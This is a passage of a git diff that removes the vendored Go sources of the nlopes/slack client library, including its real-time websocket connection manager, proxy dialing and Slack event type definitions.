{api.config.token}, - "profile": {string(profile)}, - } - - response := &userResponseFull{} - - if err = post("users.profile.set", values, response, api.debug); err != nil { - return err - } - - if !response.Ok { - return errors.New(response.Error) - } - - return nil -} - -// UnsetUserCustomStatus removes the custom status message for the currently -// authenticated user. This is a convenience method that wraps -// (*Client).SetUserCustomStatus(). -func (api *Client) UnsetUserCustomStatus() error { - return api.SetUserCustomStatus("", "") -} diff --git a/vendor/github.com/nlopes/slack/websocket.go b/vendor/github.com/nlopes/slack/websocket.go deleted file mode 100644 index f3c9cbd8f1..0000000000 --- a/vendor/github.com/nlopes/slack/websocket.go +++ /dev/null @@ -1,93 +0,0 @@ -package slack - -import ( - "encoding/json" - "errors" - "time" - - "golang.org/x/net/websocket" -) - -const ( - // MaxMessageTextLength is the current maximum message length in number of characters as defined here - // https://api.slack.com/rtm#limits - MaxMessageTextLength = 4000 -) - -// RTM represents a managed websocket connection. It also supports -// all the methods of the `Client` type. -// -// Create this element with Client's NewRTM() or NewRTMWithOptions(*RTMOptions) -type RTM struct { - idGen IDGenerator - pings map[int]time.Time - - // Connection life-cycle - conn *websocket.Conn - IncomingEvents chan RTMEvent - outgoingMessages chan OutgoingMessage - killChannel chan bool - forcePing chan bool - rawEvents chan json.RawMessage - wasIntentional bool - isConnected bool - - // Client is the main API, embedded - Client - websocketURL string - - // UserDetails upon connection - info *Info - - // useRTMStart should be set to true if you want to use - // rtm.start to connect to Slack, otherwise it will use - // rtm.connect - useRTMStart bool -} - -// RTMOptions allows configuration of various options available for RTM messaging -// -// This structure will evolve in time so please make sure you are always using the -// named keys for every entry available as per Go 1 compatibility promise adding fields -// to this structure should not be considered a breaking change. -type RTMOptions struct { - // UseRTMStart set to true in order to use rtm.start or false to use rtm.connect - // As of 11th July 2017 you should prefer setting this to false, see: - // https://api.slack.com/changelog/2017-04-start-using-rtm-connect-and-stop-using-rtm-start - UseRTMStart bool -} - -// Disconnect and wait, blocking until a successful disconnection. -func (rtm *RTM) Disconnect() error { - if !rtm.isConnected { - return errors.New("Invalid call to Disconnect - Slack API is already disconnected") - } - rtm.killChannel <- true - return nil -} - -// Reconnect only makes sense if you've successfully disconnectd with Disconnect(). -func (rtm *RTM) Reconnect() error { - logger.Println("RTM::Reconnect not implemented!") - return nil -} - -// GetInfo returns the info structure received when calling -// "startrtm", holding all channels, groups and other metadata needed -// to implement a full chat client. It will be non-nil after a call to -// StartRTM(). -func (rtm *RTM) GetInfo() *Info { - return rtm.info -} - -// SendMessage submits a simple message through the websocket. For -// more complicated messages, use `rtm.PostMessage` with a complete -// struct describing your attachments and all. -func (rtm *RTM) SendMessage(msg *OutgoingMessage) { - if msg == nil { - rtm.Debugln("Error: Attempted to SendMessage(nil)") - return - } - - rtm.outgoingMessages <- *msg -} diff --git a/vendor/github.com/nlopes/slack/websocket_channels.go b/vendor/github.com/nlopes/slack/websocket_channels.go deleted file mode 100644 index 7dd3319b18..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_channels.go +++ /dev/null @@ -1,72 +0,0 @@ -package slack - -// ChannelCreatedEvent represents the Channel created event -type ChannelCreatedEvent struct { - Type string `json:"type"` - Channel ChannelCreatedInfo `json:"channel"` - EventTimestamp string `json:"event_ts"` -} - -// ChannelCreatedInfo represents the information associated with the Channel created event -type ChannelCreatedInfo struct { - ID string `json:"id"` - IsChannel bool `json:"is_channel"` - Name string `json:"name"` - Created int `json:"created"` - Creator string `json:"creator"` -} - -// ChannelJoinedEvent represents the Channel joined event -type ChannelJoinedEvent struct { - Type string `json:"type"` - Channel Channel `json:"channel"` -} - -// ChannelInfoEvent represents the Channel info event -type ChannelInfoEvent struct { - // channel_left - // channel_deleted - // channel_archive - // channel_unarchive - Type string `json:"type"` - Channel string `json:"channel"` - User string `json:"user,omitempty"` - Timestamp string `json:"ts,omitempty"` -} - -// ChannelRenameEvent represents the Channel rename event -type ChannelRenameEvent struct { - Type string `json:"type"` - Channel ChannelRenameInfo `json:"channel"` - Timestamp string `json:"event_ts"` -} - -// ChannelRenameInfo represents the information associated with a Channel rename event -type ChannelRenameInfo struct { - ID string `json:"id"` - Name string `json:"name"` - Created string `json:"created"` -} - -// ChannelHistoryChangedEvent represents the Channel history changed event -type ChannelHistoryChangedEvent struct { - Type string `json:"type"` - Latest string `json:"latest"` - Timestamp string `json:"ts"` - EventTimestamp string `json:"event_ts"` -} - -// ChannelMarkedEvent represents the Channel marked event -type ChannelMarkedEvent ChannelInfoEvent - -// ChannelLeftEvent represents the Channel left event -type ChannelLeftEvent ChannelInfoEvent - -// ChannelDeletedEvent represents the Channel deleted event -type ChannelDeletedEvent ChannelInfoEvent - -// ChannelArchiveEvent represents the Channel archive event -type ChannelArchiveEvent ChannelInfoEvent - -// ChannelUnarchiveEvent represents the Channel unarchive event -type ChannelUnarchiveEvent ChannelInfoEvent diff --git a/vendor/github.com/nlopes/slack/websocket_dm.go b/vendor/github.com/nlopes/slack/websocket_dm.go deleted file mode 100644 index 98bf6f8854..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_dm.go +++ /dev/null @@ -1,23 +0,0 @@ -package slack - -// IMCreatedEvent represents the IM created event -type IMCreatedEvent struct { - Type string `json:"type"` - User string `json:"user"` - Channel ChannelCreatedInfo `json:"channel"` -} - -// IMHistoryChangedEvent represents the IM history changed event -type IMHistoryChangedEvent ChannelHistoryChangedEvent - -// IMOpenEvent represents the IM open event -type IMOpenEvent ChannelInfoEvent - -// IMCloseEvent represents the IM close event -type IMCloseEvent ChannelInfoEvent - -// IMMarkedEvent represents the IM marked event -type IMMarkedEvent ChannelInfoEvent - -// IMMarkedHistoryChanged represents the IM marked history changed event -type IMMarkedHistoryChanged ChannelInfoEvent diff --git a/vendor/github.com/nlopes/slack/websocket_dnd.go b/vendor/github.com/nlopes/slack/websocket_dnd.go deleted file mode 100644 index 62ddea3a5a..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_dnd.go +++ /dev/null @@ -1,8 +0,0 @@ -package slack - -// DNDUpdatedEvent represents the update event for Do Not Disturb -type DNDUpdatedEvent struct { - Type string `json:"type"` - User string `json:"user"` - Status DNDStatus `json:"dnd_status"` -} diff --git a/vendor/github.com/nlopes/slack/websocket_files.go b/vendor/github.com/nlopes/slack/websocket_files.go deleted file mode 100644 index 8c5bd4f8bf..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_files.go +++ /dev/null @@ -1,49 +0,0 @@ -package slack - -// FileActionEvent represents the File action event -type fileActionEvent struct { - Type string `json:"type"` - EventTimestamp string `json:"event_ts"` - File File `json:"file"` - // FileID is used for FileDeletedEvent - FileID string `json:"file_id,omitempty"` -} - -// FileCreatedEvent represents the File created event -type FileCreatedEvent fileActionEvent - -// FileSharedEvent represents the File shared event -type FileSharedEvent fileActionEvent - -// FilePublicEvent represents the File public event -type FilePublicEvent fileActionEvent - -// FileUnsharedEvent represents the File unshared event -type FileUnsharedEvent fileActionEvent - -// FileChangeEvent represents the File change event -type FileChangeEvent fileActionEvent - -// FileDeletedEvent represents the File deleted event -type FileDeletedEvent fileActionEvent - -// FilePrivateEvent represents the File private event -type FilePrivateEvent fileActionEvent - -// FileCommentAddedEvent represents the File comment added event -type FileCommentAddedEvent struct { - fileActionEvent - Comment Comment `json:"comment"` -} - -// FileCommentEditedEvent represents the File comment edited event -type FileCommentEditedEvent struct { - fileActionEvent - Comment Comment `json:"comment"` -} - -// FileCommentDeletedEvent represents the File comment deleted event -type FileCommentDeletedEvent struct { - fileActionEvent - Comment string `json:"comment"` -} diff --git a/vendor/github.com/nlopes/slack/websocket_groups.go b/vendor/github.com/nlopes/slack/websocket_groups.go deleted file mode 100644 index eb88985c45..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_groups.go +++ /dev/null @@ -1,49 +0,0 @@ -package slack - -// GroupCreatedEvent represents the Group created event -type GroupCreatedEvent struct { - Type string `json:"type"` - User string `json:"user"` - Channel ChannelCreatedInfo `json:"channel"` -} - -// XXX: Should we really do this? event.Group is probably nicer than event.Channel -// even though the api returns "channel" - -// GroupMarkedEvent represents the Group marked event -type GroupMarkedEvent ChannelInfoEvent - -// GroupOpenEvent represents the Group open event -type GroupOpenEvent ChannelInfoEvent - -// GroupCloseEvent represents the Group close event -type GroupCloseEvent ChannelInfoEvent - -// GroupArchiveEvent represents the Group archive event -type GroupArchiveEvent ChannelInfoEvent - -// GroupUnarchiveEvent represents the Group unarchive event -type GroupUnarchiveEvent ChannelInfoEvent - -// GroupLeftEvent represents the Group left event -type GroupLeftEvent ChannelInfoEvent - -// GroupJoinedEvent represents the Group joined event -type GroupJoinedEvent ChannelJoinedEvent - -// GroupRenameEvent represents the Group rename event -type GroupRenameEvent struct { - Type string `json:"type"` - Group GroupRenameInfo `json:"channel"` - Timestamp string `json:"ts"` -} - -// GroupRenameInfo represents the group info related to the renamed group -type GroupRenameInfo struct { - ID string `json:"id"` - Name string `json:"name"` - Created string `json:"created"` -} - -// GroupHistoryChangedEvent represents the Group history changed event -type GroupHistoryChangedEvent ChannelHistoryChangedEvent diff --git a/vendor/github.com/nlopes/slack/websocket_internals.go b/vendor/github.com/nlopes/slack/websocket_internals.go deleted file mode 100644 index 2a8abe6ed3..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_internals.go +++ /dev/null @@ -1,92 +0,0 @@ -package slack - -import ( - "fmt" - "time" -) - -/** - * Internal events, created by this lib and not mapped to Slack APIs. - */ - -// ConnectedEvent is used for when we connect to Slack -type ConnectedEvent struct { - ConnectionCount int // 1 = first time, 2 = second time - Info *Info -} - -// ConnectionErrorEvent contains information about a connection error -type ConnectionErrorEvent struct { - Attempt int - ErrorObj error -} - -func (c *ConnectionErrorEvent) Error() string { - return c.ErrorObj.Error() -} - -// ConnectingEvent contains information about our connection attempt -type ConnectingEvent struct { - Attempt int // 1 = first attempt, 2 = second attempt - ConnectionCount int -} - -// DisconnectedEvent contains information about how we disconnected -type DisconnectedEvent struct { - Intentional bool -} - -// LatencyReport contains information about connection latency -type LatencyReport struct { - Value time.Duration -} - -// InvalidAuthEvent is used in case we can't even authenticate with the API -type InvalidAuthEvent struct{} - -// UnmarshallingErrorEvent is used when there are issues deconstructing a response -type UnmarshallingErrorEvent struct { - ErrorObj error -} - -func (u UnmarshallingErrorEvent) Error() string { - return u.ErrorObj.Error() -} - -// MessageTooLongEvent is used when sending a message that is too long -type MessageTooLongEvent struct { - Message OutgoingMessage - MaxLength int -} - -func (m *MessageTooLongEvent) Error() string { - return fmt.Sprintf("Message too long (max %d characters)", m.MaxLength) -} - -// OutgoingErrorEvent contains information in case there were errors sending messages -type OutgoingErrorEvent struct { - Message OutgoingMessage - ErrorObj error -} - -func (o OutgoingErrorEvent) Error() string { - return o.ErrorObj.Error() -} - -// IncomingEventError contains information about an unexpected error receiving a websocket event -type IncomingEventError struct { - ErrorObj error -} - -func (i *IncomingEventError) Error() string { - return i.ErrorObj.Error() -} - -// AckErrorEvent i -type AckErrorEvent struct { - ErrorObj error -} - -func (a *AckErrorEvent) Error() string { - return a.ErrorObj.Error() -} diff --git a/vendor/github.com/nlopes/slack/websocket_managed_conn.go b/vendor/github.com/nlopes/slack/websocket_managed_conn.go deleted file mode 100644 index 762b8f11c1..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_managed_conn.go +++ /dev/null @@ -1,451 +0,0 @@ -package slack - -import ( - "encoding/json" - "fmt" - "io" - "reflect" - "time" - - "golang.org/x/net/websocket" -) - -// ManageConnection can be called on a Slack RTM instance returned by the -// NewRTM method. It will connect to the slack RTM API and handle all incoming -// and outgoing events. If a connection fails then it will attempt to reconnect -// and will notify any listeners through an error event on the IncomingEvents -// channel. -// -// If the connection ends and the disconnect was unintentional then this will -// attempt to reconnect. -// -// This should only be called once per slack API! Otherwise expect undefined -// behavior. -// -// The defined error events are located in websocket_internals.go. -func (rtm *RTM) ManageConnection() { - var connectionCount int - for { - connectionCount++ - // start trying to connect - // the returned err is already passed onto the IncomingEvents channel - info, conn, err := rtm.connect(connectionCount, rtm.useRTMStart) - // if err != nil then the connection is sucessful - otherwise it is - // fatal - if err != nil { - return - } - rtm.info = info - rtm.IncomingEvents <- RTMEvent{"connected", &ConnectedEvent{ - ConnectionCount: connectionCount, - Info: info, - }} - - rtm.conn = conn - rtm.isConnected = true - - keepRunning := make(chan bool) - // we're now connected (or have failed fatally) so we can set up - // listeners - go rtm.handleIncomingEvents(keepRunning) - - // this should be a blocking call until the connection has ended - rtm.handleEvents(keepRunning, 30*time.Second) - - // after being disconnected we need to check if it was intentional - // if not then we should try to reconnect - if rtm.wasIntentional { - return - } - // else continue and run the loop again to connect - } -} - -// connect attempts to connect to the slack websocket API. It handles any -// errors that occur while connecting and will return once a connection -// has been successfully opened. -// If useRTMStart is false then it uses rtm.connect to create the connection, -// otherwise it uses rtm.start. -func (rtm *RTM) connect(connectionCount int, useRTMStart bool) (*Info, *websocket.Conn, error) { - // used to provide exponential backoff wait time with jitter before trying - // to connect to slack again - boff := &backoff{ - Min: 100 * time.Millisecond, - Max: 5 * time.Minute, - Factor: 2, - Jitter: true, - } - - for { - // send connecting event - rtm.IncomingEvents <- RTMEvent{"connecting", &ConnectingEvent{ - Attempt: boff.attempts + 1, - ConnectionCount: connectionCount, - }} - // attempt to start the connection - info, conn, err := rtm.startRTMAndDial(useRTMStart) - if err == nil { - return info, conn, nil - } - // check for fatal errors - currently only invalid_auth - if sErr, ok := err.(*WebError); ok && (sErr.Error() == "invalid_auth" || sErr.Error() == "account_inactive") { - rtm.IncomingEvents <- RTMEvent{"invalid_auth", &InvalidAuthEvent{}} - return nil, nil, sErr - } - - // any other errors are treated as recoverable and we try again after - // sending the event along the IncomingEvents channel - rtm.IncomingEvents <- RTMEvent{"connection_error", &ConnectionErrorEvent{ - Attempt: boff.attempts, - ErrorObj: err, - }} - // get time we should wait before attempting to connect again - dur := boff.Duration() - rtm.Debugf("reconnection %d failed: %s", boff.attempts+1, err) - rtm.Debugln(" -> reconnecting in", dur) - time.Sleep(dur) - } -} - -// startRTMAndDial attempts to connect to the slack websocket. If useRTMStart is true, -// then it returns the full information returned by the "rtm.start" method on the -// slack API. Else it uses the "rtm.connect" method to connect -func (rtm *RTM) startRTMAndDial(useRTMStart bool) (*Info, *websocket.Conn, error) { - var info *Info - var url string - var err error - - if useRTMStart { - info, url, err = rtm.StartRTM() - } else { - info, url, err = rtm.ConnectRTM() - } - if err != nil { - return nil, nil, err - } - - conn, err := websocketProxyDial(url, "http://api.slack.com") - if err != nil { - return nil, nil, err - } - return info, conn, err -} - -// killConnection stops the websocket connection and signals to all goroutines -// that they should cease listening to the connection for events. -// -// This should not be called directly! Instead a boolean value (true for -// intentional, false otherwise) should be sent to the killChannel on the RTM. -func (rtm *RTM) killConnection(keepRunning chan bool, intentional bool) error { - rtm.Debugln("killing connection") - if rtm.isConnected { - close(keepRunning) - } - rtm.isConnected = false - rtm.wasIntentional = intentional - err := rtm.conn.Close() - rtm.IncomingEvents <- RTMEvent{"disconnected", &DisconnectedEvent{intentional}} - return err -} - -// handleEvents is a blocking function that handles all events. This sends -// pings when asked to (on rtm.forcePing) and upon every given elapsed -// interval. This also sends outgoing messages that are received from the RTM's -// outgoingMessages channel. This also handles incoming raw events from the RTM -// rawEvents channel. -func (rtm *RTM) handleEvents(keepRunning chan bool, interval time.Duration) { - ticker := time.NewTicker(interval) - defer ticker.Stop() - for { - select { - // catch "stop" signal on channel close - case intentional := <-rtm.killChannel: - _ = rtm.killConnection(keepRunning, intentional) - return - // send pings on ticker interval - case <-ticker.C: - err := rtm.ping() - if err != nil { - _ = rtm.killConnection(keepRunning, false) - return - } - case <-rtm.forcePing: - err := rtm.ping() - if err != nil { - _ = rtm.killConnection(keepRunning, false) - return - } - // listen for messages that need to be sent - case msg := <-rtm.outgoingMessages: - rtm.sendOutgoingMessage(msg) - // listen for incoming messages that need to be parsed - case rawEvent := <-rtm.rawEvents: - rtm.handleRawEvent(rawEvent) - } - } -} - -// handleIncomingEvents monitors the RTM's opened websocket for any incoming -// events. It pushes the raw events onto the RTM channel rawEvents. -// -// This will stop executing once the RTM's keepRunning channel has been closed -// or has anything sent to it. -func (rtm *RTM) handleIncomingEvents(keepRunning <-chan bool) { - for { - // non-blocking listen to see if channel is closed - select { - // catch "stop" signal on channel close - case <-keepRunning: - return - default: - rtm.receiveIncomingEvent() - } - } -} - -func (rtm *RTM) sendWithDeadline(msg interface{}) error { - // set a write deadline on the connection - if err := rtm.conn.SetWriteDeadline(time.Now().Add(10 * time.Second)); err != nil { - return err - } - if err := websocket.JSON.Send(rtm.conn, msg); err != nil { - return err - } - // remove write deadline - return rtm.conn.SetWriteDeadline(time.Time{}) -} - -// sendOutgoingMessage sends the given OutgoingMessage to the slack websocket. -// -// It does not currently detect if a outgoing message fails due to a disconnect -// and instead lets a future failed 'PING' detect the failed connection. -func (rtm *RTM) sendOutgoingMessage(msg OutgoingMessage) { - rtm.Debugln("Sending message:", msg) - if len(msg.Text) > MaxMessageTextLength { - rtm.IncomingEvents <- RTMEvent{"outgoing_error", &MessageTooLongEvent{ - Message: msg, - MaxLength: MaxMessageTextLength, - }} - return - } - - if err := rtm.sendWithDeadline(msg); err != nil { - rtm.IncomingEvents <- RTMEvent{"outgoing_error", &OutgoingErrorEvent{ - Message: msg, - ErrorObj: err, - }} - // TODO force ping? - } -} - -// ping sends a 'PING' message to the RTM's websocket. If the 'PING' message -// fails to send then this returns an error signifying that the connection -// should be considered disconnected. -// -// This does not handle incoming 'PONG' responses but does store the time of -// each successful 'PING' send so latency can be detected upon a 'PONG' -// response. -func (rtm *RTM) ping() error { - id := rtm.idGen.Next() - rtm.Debugln("Sending PING ", id) - rtm.pings[id] = time.Now() - - msg := &Ping{ID: id, Type: "ping"} - - if err := rtm.sendWithDeadline(msg); err != nil { - rtm.Debugf("RTM Error sending 'PING %d': %s", id, err.Error()) - return err - } - return nil -} - -// receiveIncomingEvent attempts to receive an event from the RTM's websocket. -// This will block until a frame is available from the websocket. -func (rtm *RTM) receiveIncomingEvent() { - event := json.RawMessage{} - err := websocket.JSON.Receive(rtm.conn, &event) - if err == io.EOF { - // EOF's don't seem to signify a failed connection so instead we ignore - // them here and detect a failed connection upon attempting to send a - // 'PING' message - - // trigger a 'PING' to detect pontential websocket disconnect - rtm.forcePing <- true - return - } else if err != nil { - rtm.IncomingEvents <- RTMEvent{"incoming_error", &IncomingEventError{ - ErrorObj: err, - }} - // force a ping here too? - return - } else if len(event) == 0 { - rtm.Debugln("Received empty event") - return - } - rtm.Debugln("Incoming Event:", string(event[:])) - rtm.rawEvents <- event -} - -// handleRawEvent takes a raw JSON message received from the slack websocket -// and handles the encoded event. -func (rtm *RTM) handleRawEvent(rawEvent json.RawMessage) { - event := &Event{} - err := json.Unmarshal(rawEvent, event) - if err != nil { - rtm.IncomingEvents <- RTMEvent{"unmarshalling_error", &UnmarshallingErrorEvent{err}} - return - } - switch event.Type { - case "": - rtm.handleAck(rawEvent) - case "hello": - rtm.IncomingEvents <- RTMEvent{"hello", &HelloEvent{}} - case "pong": - rtm.handlePong(rawEvent) - default: - rtm.handleEvent(event.Type, rawEvent) - } -} - -// handleAck handles an incoming 'ACK' message. -func (rtm *RTM) handleAck(event json.RawMessage) { - ack := &AckMessage{} - if err := json.Unmarshal(event, ack); err != nil { - rtm.Debugln("RTM Error unmarshalling 'ack' event:", err) - rtm.Debugln(" -> Erroneous 'ack' event:", string(event)) - return - } - if ack.Ok { - rtm.IncomingEvents <- RTMEvent{"ack", ack} - } else { - rtm.IncomingEvents <- RTMEvent{"ack_error", &AckErrorEvent{ack.Error}} - } -} - -// handlePong handles an incoming 'PONG' message which should be in response to -// a previously sent 'PING' message. This is then used to compute the -// connection's latency. -func (rtm *RTM) handlePong(event json.RawMessage) { - pong := &Pong{} - if err := json.Unmarshal(event, pong); err != nil { - rtm.Debugln("RTM Error unmarshalling 'pong' event:", err) - rtm.Debugln(" -> Erroneous 'ping' event:", string(event)) - return - } - if pingTime, exists := rtm.pings[pong.ReplyTo]; exists { - latency := time.Since(pingTime) - rtm.IncomingEvents <- RTMEvent{"latency_report", &LatencyReport{Value: latency}} - delete(rtm.pings, pong.ReplyTo) - } else { - rtm.Debugln("RTM Error - unmatched 'pong' event:", string(event)) - } -} - -// handleEvent is the "default" response to an event that does not have a -// special case. It matches the command's name to a mapping of defined events -// and then sends the corresponding event struct to the IncomingEvents channel. -// If the event type is not found or the event cannot be unmarshalled into the -// correct struct then this sends an UnmarshallingErrorEvent to the -// IncomingEvents channel. -func (rtm *RTM) handleEvent(typeStr string, event json.RawMessage) { - v, exists := eventMapping[typeStr] - if !exists { - rtm.Debugf("RTM Error, received unmapped event %q: %s\n", typeStr, string(event)) - err := fmt.Errorf("RTM Error: Received unmapped event %q: %s\n", typeStr, string(event)) - rtm.IncomingEvents <- RTMEvent{"unmarshalling_error", &UnmarshallingErrorEvent{err}} - return - } - t := reflect.TypeOf(v) - recvEvent := reflect.New(t).Interface() - err := json.Unmarshal(event, recvEvent) - if err != nil { - rtm.Debugf("RTM Error, could not unmarshall event %q: %s\n", typeStr, string(event)) - err := fmt.Errorf("RTM Error: Could not unmarshall event %q: %s\n", typeStr, string(event)) - rtm.IncomingEvents <- RTMEvent{"unmarshalling_error", &UnmarshallingErrorEvent{err}} - return - } - rtm.IncomingEvents <- RTMEvent{typeStr, recvEvent} -} - -// eventMapping holds a mapping of event names to their corresponding struct -// implementations. The structs should be instances of the unmarshalling -// target for the matching event type. -var eventMapping = map[string]interface{}{ - "message": MessageEvent{}, - "presence_change": PresenceChangeEvent{}, - "user_typing": UserTypingEvent{}, - - "channel_marked": ChannelMarkedEvent{}, - "channel_created": ChannelCreatedEvent{}, - "channel_joined": ChannelJoinedEvent{}, - "channel_left": ChannelLeftEvent{}, - "channel_deleted": ChannelDeletedEvent{}, - "channel_rename": ChannelRenameEvent{}, - "channel_archive": ChannelArchiveEvent{}, - "channel_unarchive": ChannelUnarchiveEvent{}, - "channel_history_changed": ChannelHistoryChangedEvent{}, - - "dnd_updated": DNDUpdatedEvent{}, - "dnd_updated_user": DNDUpdatedEvent{}, - - "im_created": IMCreatedEvent{}, - "im_open": IMOpenEvent{}, - "im_close": IMCloseEvent{}, - "im_marked": IMMarkedEvent{}, - "im_history_changed": IMHistoryChangedEvent{}, - - "group_marked": GroupMarkedEvent{}, - "group_open": GroupOpenEvent{}, - "group_joined": GroupJoinedEvent{}, - "group_left": GroupLeftEvent{}, - "group_close": GroupCloseEvent{}, - "group_rename": GroupRenameEvent{}, - "group_archive": GroupArchiveEvent{}, - "group_unarchive": GroupUnarchiveEvent{}, - "group_history_changed": GroupHistoryChangedEvent{}, - - "file_created": FileCreatedEvent{}, - "file_shared": FileSharedEvent{}, - "file_unshared": FileUnsharedEvent{}, - "file_public": FilePublicEvent{}, - "file_private": FilePrivateEvent{}, - "file_change": FileChangeEvent{}, - "file_deleted": FileDeletedEvent{}, - "file_comment_added": FileCommentAddedEvent{}, - "file_comment_edited": FileCommentEditedEvent{}, - "file_comment_deleted": FileCommentDeletedEvent{}, - - "pin_added": PinAddedEvent{}, - "pin_removed": PinRemovedEvent{}, - - "star_added": StarAddedEvent{}, - "star_removed": StarRemovedEvent{}, - - "reaction_added": ReactionAddedEvent{}, - "reaction_removed": ReactionRemovedEvent{}, - - "pref_change": PrefChangeEvent{}, - - "team_join": TeamJoinEvent{}, - "team_rename": TeamRenameEvent{}, - "team_pref_change": TeamPrefChangeEvent{}, - "team_domain_change": TeamDomainChangeEvent{}, - "team_migration_started": TeamMigrationStartedEvent{}, - - "manual_presence_change": ManualPresenceChangeEvent{}, - - "user_change": UserChangeEvent{}, - - "emoji_changed": EmojiChangedEvent{}, - - "commands_changed": CommandsChangedEvent{}, - - "email_domain_changed": EmailDomainChangedEvent{}, - - "bot_added": BotAddedEvent{}, - "bot_changed": BotChangedEvent{}, - - "accounts_changed": AccountsChangedEvent{}, - - "reconnect_url": ReconnectUrlEvent{}, -} diff --git a/vendor/github.com/nlopes/slack/websocket_misc.go b/vendor/github.com/nlopes/slack/websocket_misc.go deleted file mode 100644 index ad283ea1f5..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_misc.go +++ /dev/null @@ -1,121 +0,0 @@ -package slack - -import ( - "encoding/json" - "fmt" -) - -// AckMessage is used for messages received in reply to other messages -type AckMessage struct { - ReplyTo int `json:"reply_to"` - Timestamp string `json:"ts"` - Text string `json:"text"` - RTMResponse -} - -// RTMResponse encapsulates response details as returned by the Slack API -type RTMResponse struct { - Ok bool `json:"ok"` - Error *RTMError `json:"error"` -} - -// RTMError encapsulates error information as returned by the Slack API -type RTMError struct { - Code int - Msg string -} - -func (s RTMError) Error() string { - return fmt.Sprintf("Code %d - %s", s.Code, s.Msg) -} - -// MessageEvent represents a Slack Message (used as the event type for an incoming message) -type MessageEvent Message - -// RTMEvent is the main wrapper. You will find all the other messages attached -type RTMEvent struct { - Type string - Data interface{} -} - -// HelloEvent represents the hello event -type HelloEvent struct{} - -// PresenceChangeEvent represents the presence change event -type PresenceChangeEvent struct { - Type string `json:"type"` - Presence string `json:"presence"` - User string `json:"user"` -} - -// UserTypingEvent represents the user typing event -type UserTypingEvent struct { - Type string `json:"type"` - User string `json:"user"` - Channel string `json:"channel"` -} - -// PrefChangeEvent represents a user preferences change event -type PrefChangeEvent struct { - Type string `json:"type"` - Name string `json:"name"` - Value json.RawMessage `json:"value"` -} - -// ManualPresenceChangeEvent represents the manual presence change event -type ManualPresenceChangeEvent struct { - Type string `json:"type"` - Presence string `json:"presence"` -} - -// UserChangeEvent represents the user change event -type UserChangeEvent struct { - Type string `json:"type"` - User User `json:"user"` -} - -// EmojiChangedEvent represents the emoji changed event -type EmojiChangedEvent struct { - Type string `json:"type"` - SubType string `json:"subtype"` - Name string `json:"name"` - Names []string `json:"names"` - Value string `json:"value"` - EventTimestamp string `json:"event_ts"` -} - -// CommandsChangedEvent represents the commands changed event -type CommandsChangedEvent struct { - Type string `json:"type"` - EventTimestamp string `json:"event_ts"` -} - -// EmailDomainChangedEvent represents the email domain changed event -type EmailDomainChangedEvent struct { - Type string `json:"type"` - EventTimestamp string `json:"event_ts"` - EmailDomain string `json:"email_domain"` -} - -// BotAddedEvent represents the bot added event -type BotAddedEvent struct { - Type string `json:"type"` - Bot Bot `json:"bot"` -} - -// BotChangedEvent represents the bot changed event -type BotChangedEvent struct { - Type string `json:"type"` - Bot Bot `json:"bot"` -} - -// AccountsChangedEvent represents the accounts changed event -type AccountsChangedEvent struct { - Type string `json:"type"` -} - -// ReconnectUrlEvent represents the receiving reconnect url event -type ReconnectUrlEvent struct { - Type string `json:"type"` - URL string `json:"url"` -} diff --git a/vendor/github.com/nlopes/slack/websocket_pins.go b/vendor/github.com/nlopes/slack/websocket_pins.go deleted file mode 100644 index 95445e286d..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_pins.go +++ /dev/null @@ -1,16 +0,0 @@ -package slack - -type pinEvent struct { - Type string `json:"type"` - User string `json:"user"` - Item Item `json:"item"` - Channel string `json:"channel_id"` - EventTimestamp string `json:"event_ts"` - HasPins bool `json:"has_pins,omitempty"` -} - -// PinAddedEvent represents the Pin added event -type PinAddedEvent pinEvent - -// PinRemovedEvent represents the Pin removed event -type PinRemovedEvent pinEvent diff --git a/vendor/github.com/nlopes/slack/websocket_proxy.go b/vendor/github.com/nlopes/slack/websocket_proxy.go deleted file mode 100644 index 440015d69f..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_proxy.go +++ /dev/null @@ -1,83 +0,0 @@ -package slack - -import ( - "crypto/tls" - "errors" - "net" - "net/http" - "net/http/httputil" - "net/url" - "os" - "strings" - - "golang.org/x/net/websocket" -) - -// Taken and reworked from: https://gist.github.com/madmo/8548738 -func websocketHTTPConnect(proxy, urlString string) (net.Conn, error) { - p, err := net.Dial("tcp", proxy) - if err != nil { - return nil, err - } - - turl, err := url.Parse(urlString) - if err != nil { - return nil, err - } - - req := http.Request{ - Method: "CONNECT", - URL: &url.URL{}, - Host: turl.Host, - } - - cc := httputil.NewProxyClientConn(p, nil) - cc.Do(&req) - if err != nil && err != httputil.ErrPersistEOF { - return nil, err - } - - rwc, _ := cc.Hijack() - - return rwc, nil -} - -func websocketProxyDial(urlString, origin string) (ws *websocket.Conn, err error) { - if os.Getenv("HTTP_PROXY") == "" { - return websocket.Dial(urlString, "", origin) - } - - purl, err := url.Parse(os.Getenv("HTTP_PROXY")) - if err != nil { - return nil, err - } - - config, err := websocket.NewConfig(urlString, origin) - if err != nil { - return nil, err - } - - client, err := websocketHTTPConnect(purl.Host, urlString) - if err != nil { - return nil, err - } - - switch config.Location.Scheme { - case "ws": - case "wss": - tlsClient := tls.Client(client, &tls.Config{ - ServerName: strings.Split(config.Location.Host, ":")[0], - }) - err := tlsClient.Handshake() - if err != nil { - tlsClient.Close() - return nil, err - } - client = tlsClient - - default: - return nil, errors.New("invalid websocket schema") - } - - return websocket.NewClient(config, client) -} diff --git a/vendor/github.com/nlopes/slack/websocket_reactions.go b/vendor/github.com/nlopes/slack/websocket_reactions.go deleted file mode 100644 index e49738783c..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_reactions.go +++ /dev/null @@ -1,25 +0,0 @@ -package slack - -// reactionItem is a lighter-weight item than is returned by the reactions list. -type reactionItem struct { - Type string `json:"type"` - Channel string `json:"channel,omitempty"` - File string `json:"file,omitempty"` - FileComment string `json:"file_comment,omitempty"` - Timestamp string `json:"ts,omitempty"` -} - -type reactionEvent struct { - Type string `json:"type"` - User string `json:"user"` - ItemUser string `json:"item_user"` - Item reactionItem `json:"item"` - Reaction string `json:"reaction"` - EventTimestamp string `json:"event_ts"` -} - -// 